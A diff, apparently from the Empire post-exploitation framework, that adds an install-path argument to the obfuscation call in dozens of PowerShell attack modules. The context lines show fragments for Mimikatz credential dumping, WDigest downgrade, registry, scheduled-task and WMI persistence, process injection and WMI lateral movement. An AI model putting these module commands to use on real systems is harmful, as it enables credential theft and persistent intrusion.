scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -73,6 +73,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd = "Get-VaultCredential"
|
scriptEnd = "Get-VaultCredential"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -119,6 +119,6 @@ class Module:
|
||||||
else:
|
else:
|
||||||
scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\""
|
scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\""
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -110,6 +110,6 @@ class Module:
|
||||||
else:
|
else:
|
||||||
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -95,6 +95,6 @@ class Module:
|
||||||
scriptEnd += " -Cmd " + command
|
scriptEnd += " -Cmd " + command
|
||||||
|
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -193,6 +193,6 @@ class Module:
|
||||||
else:
|
else:
|
||||||
scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\""
|
scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\""
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -131,6 +131,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += "| Out-String | %{$_ + \"`n\"};"
|
scriptEnd += "| Out-String | %{$_ + \"`n\"};"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -185,6 +185,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += " | Out-String"
|
scriptEnd += " | Out-String"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -146,6 +146,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += "| Out-String | %{$_ + \"`n\"};"
|
scriptEnd += "| Out-String | %{$_ + \"`n\"};"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -136,5 +136,5 @@ class Module:
|
||||||
|
|
||||||
script += ";'Invoke-PSRemoting executed on " +computerNames +"'"
|
script += ";'Invoke-PSRemoting executed on " +computerNames +"'"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -132,6 +132,6 @@ class Module:
|
||||||
if password != "":
|
if password != "":
|
||||||
scriptEnd += " -Password "+password
|
scriptEnd += " -Password "+password
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -123,6 +123,6 @@ class Module:
|
||||||
else:
|
else:
|
||||||
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -145,5 +145,5 @@ class Module:
|
||||||
|
|
||||||
script += ";'Invoke-Wmi executed on " +computerNames +"'"
|
script += ";'Invoke-Wmi executed on " +computerNames +"'"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -187,6 +187,6 @@ class Module:
|
||||||
|
|
||||||
script += ";'Invoke-Wmi executed on " +computerNames + statusMsg+"'"
|
script += ";'Invoke-Wmi executed on " +computerNames + statusMsg+"'"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
||||||
|
|
|
@ -121,6 +121,6 @@ class Module:
|
||||||
scriptEnd += " -Port "+str(self.options['Port']['Value'])
|
scriptEnd += " -Port "+str(self.options['Port']['Value'])
|
||||||
scriptEnd += " -Cmd \"" + launcher + "\""
|
scriptEnd += " -Cmd \"" + launcher + "\""
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -162,5 +162,5 @@ class Module:
|
||||||
|
|
||||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -55,5 +55,5 @@ class Module:
|
||||||
# command to enable NLA only if the enable runs successfully
|
# command to enable NLA only if the enable runs successfully
|
||||||
script += " if ($?) { $null = reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v UserAuthentication /t REG_DWORD /d 1 /f }"
|
script += " if ($?) { $null = reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v UserAuthentication /t REG_DWORD /d 1 /f }"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -100,5 +100,5 @@ class Module:
|
||||||
|
|
||||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -73,6 +73,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd = "Invoke-Mimikatz -Command '\"ts::multirdp\"';"
|
scriptEnd = "Invoke-Mimikatz -Command '\"ts::multirdp\"';"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -57,5 +57,5 @@ class Module:
|
||||||
# command to disable NLA
|
# command to disable NLA
|
||||||
script += "$null = reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v UserAuthentication /t REG_DWORD /d 0 /f }"
|
script += "$null = reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v UserAuthentication /t REG_DWORD /d 0 /f }"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -84,5 +84,5 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -90,6 +90,6 @@ class Module:
|
||||||
if values['Value'] and values['Value'] != '':
|
if values['Value'] and values['Value'] != '':
|
||||||
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -77,5 +77,5 @@ class Module:
|
||||||
|
|
||||||
script += "%s" %(scriptCmd)
|
script += "%s" %(scriptCmd)
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -87,5 +87,5 @@ Function Invoke-LockWorkStation {
|
||||||
Invoke-LockWorkStation; "Workstation locked."
|
Invoke-LockWorkStation; "Workstation locked."
|
||||||
"""
|
"""
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -62,5 +62,5 @@ class Module:
|
||||||
else:
|
else:
|
||||||
script = "'Logging off current user.'; Start-Sleep -s 3; shutdown /l /f"
|
script = "'Logging off current user.'; Start-Sleep -s 3; shutdown /l /f"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -110,6 +110,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -87,6 +87,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -87,6 +87,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -112,6 +112,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -107,6 +107,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -117,6 +117,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -92,6 +92,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -133,6 +133,6 @@ class Module:
|
||||||
else:
|
else:
|
||||||
scriptEnd += "Invoke-PSInject -ProcName %s -PoshCode %s" % (procName, launcherCode)
|
scriptEnd += "Invoke-PSInject -ProcName %s -PoshCode %s" % (procName, launcherCode)
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -146,7 +146,7 @@ class Module:
|
||||||
UploadScript = self.mainMenu.stagers.generate_upload(dll, fullUploadPath)
|
UploadScript = self.mainMenu.stagers.generate_upload(dll, fullUploadPath)
|
||||||
|
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
|
|
||||||
script += "\r\n"
|
script += "\r\n"
|
||||||
script += UploadScript
|
script += UploadScript
|
||||||
|
|
|
@ -52,5 +52,5 @@ class Module:
|
||||||
|
|
||||||
script = "'Restarting computer';Restart-Computer -Force"
|
script = "'Restarting computer';Restart-Computer -Force"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -138,6 +138,6 @@ class Module:
|
||||||
else:
|
else:
|
||||||
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -57,5 +57,5 @@ class Module:
|
||||||
|
|
||||||
script = "(New-Object System.Security.Principal.SecurityIdentifier(\"%s\")).Translate( [System.Security.Principal.NTAccount]).Value" %(self.options['SID']['Value'])
|
script = "(New-Object System.Security.Principal.SecurityIdentifier(\"%s\")).Translate( [System.Security.Principal.NTAccount]).Value" %(self.options['SID']['Value'])
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -100,5 +100,5 @@ class Module:
|
||||||
|
|
||||||
code = "Start-Process -NoNewWindow -FilePath \"%s\" -ArgumentList '%s'; 'Agent spawned to %s'" % (parts[0], " ".join(parts[1:]), listenerName)
|
code = "Start-Process -NoNewWindow -FilePath \"%s\" -ArgumentList '%s'; 'Agent spawned to %s'" % (parts[0], " ".join(parts[1:]), listenerName)
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
code = helpers.obfuscate(psScript=code, obfuscationCommand=obfuscationCommand)
|
code = helpers.obfuscate(self.mainMenu.installPath, psScript=code, obfuscationCommand=obfuscationCommand)
|
||||||
return code
|
return code
|
||||||
|
|
|
@ -157,6 +157,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += "-Cmd \"$env:public\debug.bat\""
|
scriptEnd += "-Cmd \"$env:public\debug.bat\""
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -71,5 +71,5 @@ class Module:
|
||||||
# signal the existing listener that we're switching listeners, and the new comms code
|
# signal the existing listener that we're switching listeners, and the new comms code
|
||||||
commsCode = "Send-Message -Packets $(Encode-Packet -Type 130 -Data '%s');\n%s" % (listenerName, commsCode)
|
commsCode = "Send-Message -Packets $(Encode-Packet -Type 130 -Data '%s');\n%s" % (listenerName, commsCode)
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
commsCode = helpers.obfuscate(psScript=commsCode, obfuscationCommand=obfuscationCommand)
|
commsCode = helpers.obfuscate(self.mainMenu.installPath, psScript=commsCode, obfuscationCommand=obfuscationCommand)
|
||||||
return commsCode
|
return commsCode
|
||||||
|
|
|
@ -108,6 +108,6 @@ class Module:
|
||||||
|
|
||||||
scriptEnd += "| Out-String"
|
scriptEnd += "| Out-String"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -63,5 +63,5 @@ class Module:
|
||||||
script = "(New-Object System.Security.Principal.NTAccount(\"%s\",\"%s\")).Translate([System.Security.Principal.SecurityIdentifier]).Value" %(self.options['Domain']['Value'], self.options['User']['Value'])
|
script = "(New-Object System.Security.Principal.NTAccount(\"%s\",\"%s\")).Translate([System.Security.Principal.SecurityIdentifier]).Value" %(self.options['Domain']['Value'], self.options['User']['Value'])
|
||||||
|
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -102,6 +102,6 @@ class Module:
|
||||||
else:
|
else:
|
||||||
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
scriptEnd += " -" + str(option) + " " + str(values['Value'])
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -151,5 +151,5 @@ function Invoke-WdigestDowngrade {
|
||||||
else:
|
else:
|
||||||
script += " -" + str(option) + " " + str(values['Value'])
|
script += " -" + str(option) + " " + str(values['Value'])
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -93,5 +93,5 @@ Invoke-ZipFolder"""
|
||||||
if values['Value'] and values['Value'] != '':
|
if values['Value'] and values['Value'] != '':
|
||||||
script += " -" + str(option) + " " + str(values['Value'])
|
script += " -" + str(option) + " " + str(values['Value'])
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -205,5 +205,5 @@ class Module:
|
||||||
|
|
||||||
script += "'Registry persistence established "+statusMsg+"'"
|
script += "'Registry persistence established "+statusMsg+"'"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -161,7 +161,7 @@ class Module:
|
||||||
script += "schtasks /Delete /F /TN "+taskName+";"
|
script += "schtasks /Delete /F /TN "+taskName+";"
|
||||||
script += "'Schtasks persistence removed.'"
|
script += "'Schtasks persistence removed.'"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
||||||
if extFile != '':
|
if extFile != '':
|
||||||
|
@ -241,5 +241,5 @@ class Module:
|
||||||
statusMsg += " with "+taskName+" daily trigger at " + dailyTime + "."
|
statusMsg += " with "+taskName+" daily trigger at " + dailyTime + "."
|
||||||
script += "'Schtasks persistence established "+statusMsg+"'"
|
script += "'Schtasks persistence established "+statusMsg+"'"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -124,7 +124,7 @@ class Module:
|
||||||
script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '"+subName+"'} | Remove-WmiObject;"
|
script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '"+subName+"'} | Remove-WmiObject;"
|
||||||
script += "'WMI persistence removed.'"
|
script += "'WMI persistence removed.'"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
||||||
if extFile != '':
|
if extFile != '':
|
||||||
|
@ -199,5 +199,5 @@ class Module:
|
||||||
|
|
||||||
script += "'WMI persistence established "+statusMsg+"'"
|
script += "'WMI persistence established "+statusMsg+"'"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -107,5 +107,5 @@ class Module:
|
||||||
|
|
||||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -90,6 +90,6 @@ class Module:
|
||||||
# base64 encode the command to pass to Invoke-Mimikatz
|
# base64 encode the command to pass to Invoke-Mimikatz
|
||||||
scriptEnd = "Invoke-Mimikatz -Command '\"" + command + "\"';"
|
scriptEnd = "Invoke-Mimikatz -Command '\"" + command + "\"';"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
